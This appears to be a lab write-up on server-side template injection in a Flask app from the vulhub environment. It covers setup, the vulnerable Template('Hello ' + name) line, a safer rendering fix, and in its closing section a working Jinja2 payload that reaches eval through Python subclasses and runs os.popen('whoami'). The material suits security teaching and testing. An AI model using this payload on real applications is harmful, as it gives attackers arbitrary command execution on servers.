Server-Side Template Injection in Flask Applications
Environment Setup
1. Navigate to the flask/ssti directory within vulhub
2. Build the target environment
docker-compose build
3. Launch the vulnerable application
docker-compose up -d
4. Clean up the environment when finished
docker-compose down
Vulnerability Reproduction
1. Access the web interface at 127.0.0.1:8000
docker ps
// Check assigned port number
2. Examine the source code
ls
cd src
ls
cat app.py
3. From the source analysis, the name parameter accepts user input. The core vulnerability exists in:
t = Template("Hello " + name)
// The get function retrieves parameters into the template, enabling arbitrary injection.
// Since Template() is fully controllable, Jinja2 template syntax can be injected directly.
Test payloads:
http://127.0.0.1:8000/?name=testing
http://127.0.0.1:8000/?name={{2*2}}
http://127.0.0.1:8000/?name={{'sample'.upper()}}
Vulnerability Mitigation
Secure implementation:
from flask import Flask, request
from jinja2 import Environment, select_autoescape
app = Flask(__name__)
@app.route("/secure")
def index():
user_input = request.args.get('name', 'guest')
# Use safe rendering instead of direct template construction
env = Environment(autoescape=select_autoescape(['html', 'xml']))
template_content = env.from_string("Hello {{ name }}")
return template_content.render(name=user_input)
if __name__ == "__main__":
app.run()
This approach prevents code injection by properly escaping user input.
Exploitation Techniques
Standard POC - Accessing eval function for arbitrary code execution:
{% for subclass in [].__class__.__bases__[0].__subclasses__() %}
{% if subclass.__name__ == 'catch_warnings' %}
{% for item in subclass.__init__.__globals__.values() %}
{% if item.__class__ == {}.__class__ %}
{% if 'eval' in item.keys() %}
{{ item['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
Execution URL:
http://127.0.0.1:8000/?name={% for subclass in [].__class__.__bases__[0].__subclasses__() %}
{% if subclass.__name__ == 'catch_warnings' %}
{% for item in subclass.__init__.__globals__.values() %}
{% if item.__class__ == {}.__class__ %}
{% if 'eval' in item.keys() %}
{{ item['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}